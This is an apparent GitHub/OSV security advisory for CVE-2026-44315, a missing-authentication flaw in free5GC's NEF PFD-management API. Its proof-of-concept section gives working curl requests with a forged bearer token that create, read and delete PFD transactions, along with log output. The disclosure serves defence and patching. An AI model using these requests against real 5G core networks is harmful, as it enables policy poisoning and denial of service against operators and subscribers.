CVE-2026-44315: Github.com/free5gc/nef Free5GC's NEF 3gpp-pfd-management API Is Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5f62-53r8-qrqf",
  "modified" : "2026-06-08T23:47:59Z",
  "published" : "2026-05-08T22:39:16Z",
  "aliases" : [ "CVE-2026-44315" ],
  "summary" : "free5GC's NEF 3gpp-pfd-management API is unauthenticated; forged bearer tokens can create, read, and delete PFD transactions",
  "details" : "### Summary\nfree5GC's NEF mounts the `3gpp-pfd-management` API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, and delete PFD-management transaction state with a forged or arbitrary bearer token (e.g. `Authorization: Bearer not-a-real-token`). The route group is also reachable even when the running config's `ServiceList` does not declare it, so operators who think they disabled the service via config are still exposed.\n\n### Details\nValidated against the NEF container in the official Docker compose lab.\n- Source repo tag: `v4.2.1`\n- Running Docker image: `free5gc/nef:v4.2.0`\n- Runtime NEF commit: `5ce35eab`\n- Docker validation date: 2026-03-11\n\nNEF advertises `OAuth2 setting receive from NRF: true`, and its `ServiceList` only declares `nnef-pfdmanagement` and `nnef-oam`. Despite that, the `3gpp-pfd-management` route group is mounted and reachable with no inbound auth middleware.\n\nCode evidence (paths in `free5gc/nef`):\n- Route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:52`\n- Transaction routes exposed at `/:scsAsID/transactions` and `/:scsAsID/transactions/:transID`: `NFs/nef/internal/sbi/api_pfd.go:13`\n- Create handler still contains `// TODO: Authorize the AF`: `NFs/nef/internal/sbi/processor/pfd.go:70`\n- POST allocates a new PFD transaction and writes to UDR: `NFs/nef/internal/sbi/processor/pfd.go:63`\n- GET reads transaction state: `NFs/nef/internal/sbi/processor/pfd.go:189`\n- DELETE removes transaction state: `NFs/nef/internal/sbi/processor/pfd.go:328`\n- NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153`\n- Config validation only allows `nnef-pfdmanagement` and `nnef-oam`: `NFs/nef/pkg/factory/config.go:126`\n\n### PoC\nReproduced end-to-end against the running NEF at `http://10.100.200.19:8000` using a fabricated bearer token.\n\n1. Seed an AF context (also accepted with forged token):\n```\ncurl -i \\\n  -H 'Authorization: Bearer not-a-real-token' \\\n  -H 'Content-Type: application/json' \\\n  --data '{\"afServiceId\":\"svc-seed2\",\"afAppId\":\"app-seed2\",\"dnn\":\"internet\",\"snssai\":{\"sst\":1,\"sd\":\"010203\"},\"anyUeInd\":true,\"trafficFilters\":[{\"flowId\":1,\"flowDescriptions\":[\"permit out ip from 192.0.2.31 to 198.51.100.0/24\"]}],\"trafficRoutes\":[{\"dnai\":\"mec-seed2\",\"routeInfo\":{\"ipv4Addr\":\"10.60.0.1\",\"portNumber\":0}}]}' \\\n  http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfd2/subscriptions\n```\n\n2. CREATE PFD transaction with forged token -> `201 Created`:\n```\ncurl -i \\\n  -H 'Authorization: Bearer not-a-real-token' \\\n  -H 'Content-Type: application/json' \\\n  --data '{\"pfdDatas\":{\"app-poc-pfd2\":{\"externalAppId\":\"app-poc-pfd2\",\"pfds\":{\"pfd-poc\":{\"pfdId\":\"pfd-poc\",\"urls\":[\"^http://poc.example.com(/\\\\\\\\S*)?$\"]}}}}}' \\\n  http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions\n```\n\n3. READ -> `200 OK`:\n```\ncurl -i -H 'Authorization: Bearer not-a-real-token' \\\n  http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1\n```\n\n4. DELETE -> `204 No Content`:\n```\ncurl -i -X DELETE -H 'Authorization: Bearer not-a-real-token' \\\n  http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1\n```\n\n5. READ again -> `404 PFD transaction not found`, confirming state was actually deleted.\n\nNEF container logs (`docker logs nef`) show the requests reaching business handlers and returning success codes:\n```\n[INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[af-poc-pfd2]\n[INFO][NEF][GIN] | 201 | POST   | /3gpp-pfd-management/v1/af-poc-pfd2/transactions\n[INFO][NEF][PFDMng] GetIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1]\n[INFO][NEF][GIN] | 200 | GET    | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1\n[INFO][NEF][PFDMng] DeleteIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1]\n[INFO][NEF][GIN] | 204 | DELETE | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1\n```\n\n### Impact\nMissing inbound authentication (CWE-306) and authorization (CWE-862) on a critical SBI surface in NEF. Any party that can reach NEF on the SBI network can:\n- Create attacker-controlled PFD transactions (which are written to UDR), poisoning policy state used downstream by SMF/UPF for traffic classification.\n- Read existing PFD transactions, leaking AF-supplied policy data.\n- Delete PFD transactions, denying service to legitimately provisioned application detection rules.\n\nThe PFD-management route group is also reachable even when the runtime `ServiceList` does not declare it, so operators relying on `ServiceList` to disable the service do not actually get that protection.\n\nAffected: free5gc <=v4.2.1.\n\nUpstream issue: https://github.com/free5gc/free5gc/issues/858\nUpstream fix: https://github.com/free5gc/nef/pull/23",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/free5gc/nef"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.2.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/free5gc/free5gc/security/advisories/GHSA-5f62-53r8-qrqf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44315"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/free5gc/free5gc/issues/858"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/free5gc/nef/pull/23"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/free5gc/free5gc"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-08T22:39:16Z",
    "nvd_published_at" : "2026-05-27T17:16:36Z"
  }
}